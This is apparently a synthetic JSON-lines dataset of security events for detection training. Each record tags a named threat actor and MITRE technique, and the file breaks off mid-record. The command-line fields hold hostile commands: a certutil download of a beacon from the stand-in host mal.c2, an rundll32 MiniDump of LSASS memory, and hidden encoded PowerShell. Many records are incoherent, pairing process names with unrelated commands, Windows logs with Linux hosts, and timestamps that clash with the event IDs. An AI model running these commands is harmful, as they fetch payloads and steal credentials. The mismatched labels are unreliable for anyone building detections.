{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20250604T165042000Z_0004095","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.2.52.10","name":"EC2-INST-6JDHFIU6Q1","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4095FIN7T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.9.184.224","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-07-25T15:14:58.000Z","user":{"name":"arn:aws:iam::2iyk1n9ha0x1","sid":"S-1-5-21-954121719-626337390-6521"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Discovery","Initial Access"],"technique_id":"T1021.006"},"event_id":"evt_unc4841_20260624T230308000Z_0004097","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.202.123.213","name":"WIN-FIN-SRV-3B2U6QRHNB","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4097UNC4841T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.122.171.185","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-08-12T09:55:25.000Z","user":{"name":"azuread\\dickiwazp4vt","sid":"S-1-5-21-948851916-421739569-6998"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Collection"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20260603T150906000Z_0004099","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.241.154.14","name":"DB-ORACLE-2GOCOQG40Q","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4099Volt TyphoonT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.125.153.187","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-05-31T20:05:02.000Z","user":{"name":"svc_qc4yerjbpb30","sid":"S-1-5-21-511821965-220599723-9236"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Credential Access","Lateral Movement","Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20251103T170426000Z_0004101","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.117.31.11","name":"WIN-FIN-SRV-OYIEFGA7AK","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4101Lapsus$T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.84.103.215","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-06-22T05:12:23.000Z","user":{"name":"CORP\\4zqerdnr5c9q","sid":"S-1-5-21-271863275-842846177-1938"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Exfiltration"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20250608T015817000Z_0004103","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.105.90.50","name":"IAM-ROLE-XTJMFMWB34","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4103UNC4841T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.132.89.91","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1957 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-10-09T11:21:23.000Z","user":{"name":"i-qs57f5enk1nf","sid":"S-1-5-21-619639315-584781908-9266"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Initial Access","Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20250318T020217000Z_0004105","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.68.70.92","name":"WIN-FIN-SRV-MVPVEP4PWD","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4105Mustang PandaT1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.115.55.172","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3609 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-05-20T11:48:11.000Z","user":{"name":"azuread\\rtlipvraykx9","sid":"S-1-5-21-813270490-897326012-5116"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Persistence","Collection"],"technique_id":"T1098.004"},"event_id":"evt_scatteredspider_20250320T211304000Z_0004107","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.161.21.190","name":"EC2-INST-DXSYYMBD0F","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4107Scattered SpiderT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.127.208.115","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-11-19T16:29:21.000Z","user":{"name":"i-k0fr097n3amt","sid":"S-1-5-21-562967430-152791432-9003"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Collection"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20250602T235222000Z_0004109","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.216.17.39","name":"DB-ORACLE-CVB4T28VZP","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4109Scattered SpiderT1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.84.202.127","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3332 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-08-17T17:25:17.000Z","user":{"name":"i-5faqiw8ix646","sid":"S-1-5-21-746525956-382690800-7700"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion","Reconnaissance"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20260722T112330000Z_0004111","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.66.141.17","name":"WIN-FIN-SRV-VC3CE0MD6D","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4111Scattered SpiderT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.123.141.1","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2902 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-03-25T01:22:12.000Z","user":{"name":"i-i1177u85nj3e","sid":"S-1-5-21-289183983-688473809-5917"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Persistence","Lateral Movement"],"technique_id":"T1059.001"},"event_id":"evt_volttyphoon_20260516T054422000Z_0004113","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.54.92.238","name":"APP-WEB-FRNKF6WG51","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4113Volt TyphoonT1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.4.190.8","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-04-28T19:19:01.000Z","user":{"name":"azuread\\sbu10kz4wl5x","sid":"S-1-5-21-708280746-541246903-9804"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Lateral Movement","Discovery","Initial Access"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20260514T142745000Z_0004115","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.110.90.7","name":"EC2-INST-PNDCFKZIEB","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4115Volt TyphoonT1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.186.127.96","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2752 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-04-11T06:53:42.000Z","user":{"name":"arn:aws:iam::1jhn39jihfp3","sid":"S-1-5-21-262225575-906345162-9926"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_volttyphoon_20250121T174827000Z_0004117","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.47.138.53","name":"WIN-FIN-SRV-EJEX9W5XM3","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4117Volt TyphoonT1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.22.62.173","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-14T12:14:47.000Z","user":{"name":"i-4yyf0gtdj0bx","sid":"S-1-5-21-447620164-766886407-6972"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Defense Evasion"],"technique_id":"T1570"},"event_id":"evt_volttyphoon_20261119T153750000Z_0004119","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.44.111.175","name":"DB-ORACLE-AA2XKCH49N","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4119Volt TyphoonT1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.56.222.230","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-05-03T02:45:07.000Z","user":{"name":"CORP\\w1hkwidw579m","sid":"S-1-5-21-502664290-580617141-9851"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Impact","Persistence","Credential Access"],"technique_id":"T1570"},"event_id":"evt_unc4841_20260206T153800000Z_0004121","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.1.186.26","name":"IAM-ROLE-ZEED1RJCON","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4121UNC4841T1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.142.137.58","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-05-17T17:55:13.000Z","user":{"name":"svc_ewly8cpycqtg","sid":"S-1-5-21-657702189-652559869-8886"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Credential Access","Execution","Collection"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20250526T085643000Z_0004123","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.27.17.159","name":"WIN-FIN-SRV-BAYJ7V72RU","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4123UNC4841T1546.003"},"network":{"domain":"github.com","dst_ip":"1.96.158.166","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-07-21T07:22:25.000Z","user":{"name":"arn:aws:iam::26irs1usty62","sid":"S-1-5-21-505194736-398821815-6792"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Exfiltration","Credential Access","Persistence"],"technique_id":"T1570"},"event_id":"evt_volttyphoon_20261213T211503000Z_0004125","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.244.56.252","name":"IAM-ROLE-XO1JSFF7DV","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4125Volt TyphoonT1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.189.170.97","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-05-01T19:20:12.000Z","user":{"name":"CORP\\2uglt3hb3q04","sid":"S-1-5-21-354517351-592889171-2063"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Exfiltration","Defense Evasion"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20250704T103844000Z_0004127","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.6.60.246","name":"WIN-FIN-SRV-HDGW2KONTX","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4127Mustang PandaT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.142.166.45","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3494 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-01-15T09:47:01.000Z","user":{"name":"arn:aws:iam::k5udthtny4pl","sid":"S-1-5-21-682711993-735626340-4071"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery","Command and Control"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20251231T123208000Z_0004129","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.105.174.115","name":"EC2-INST-51N4K4CKIN","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4129Volt TyphoonT1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.116.90.5","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2216 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-05-12T03:40:29.000Z","user":{"name":"CORP\\kzc6v8ictilo","sid":"S-1-5-21-291778991-588357318-2481"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Lateral Movement","Impact"],"technique_id":"T1531"},"event_id":"evt_mustangpanda_20251026T231434000Z_0004131","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.195.132.151","name":"AZURE-VM-21P4CK9ZNX","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4131Mustang PandaT1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.113.167.56","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 829 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-08-30T02:36:26.000Z","user":{"name":"i-4fp630jbig19","sid":"S-1-5-21-885720424-172364027-4675"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20260926T061227000Z_0004133","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.25.1.18","name":"APP-WEB-PL3ZYMV800","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4133APT41T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.141.244.46","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-03-13T05:22:59.000Z","user":{"name":"i-g7mvd0lx24xm","sid":"S-1-5-21-218440651-189529548-8520"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Lateral Movement","Discovery","Privilege Escalation"],"technique_id":"T1570"},"event_id":"evt_apt29_20261109T031839000Z_0004135","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.135.56.19","name":"AZURE-VM-0G49S7MLTD","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4135APT29T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.135.114.150","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-11-04T10:11:40.000Z","user":{"name":"azuread\\g7h7j06qadu5","sid":"S-1-5-21-780155047-332209729-7620"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Command and Control"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20260312T190950000Z_0004137","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.247.165.65","name":"DB-ORACLE-BHR5DJ41ZP","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4137UNC4841T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.47.209.66","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2304 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-03-26T12:32:47.000Z","user":{"name":"arn:aws:iam::oqu79wa33sx5","sid":"S-1-5-21-785685218-407151628-9497"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Initial Access","Privilege Escalation","Impact"],"technique_id":"T1003.001"},"event_id":"evt_apt41_20260212T001911000Z_0004139","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.90.195.222","name":"APP-WEB-QLMVAEPIO3","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4139APT41T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.50.39.14","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-10-09T05:04:56.000Z","user":{"name":"svc_phvo4u1k97yx","sid":"S-1-5-21-907344143-738145914-6717"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Defense Evasion","Privilege Escalation"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20251115T092057000Z_0004141","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.58.197.199","name":"IAM-ROLE-U5I7DJH3TG","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4141FIN7T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.181.209.128","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc 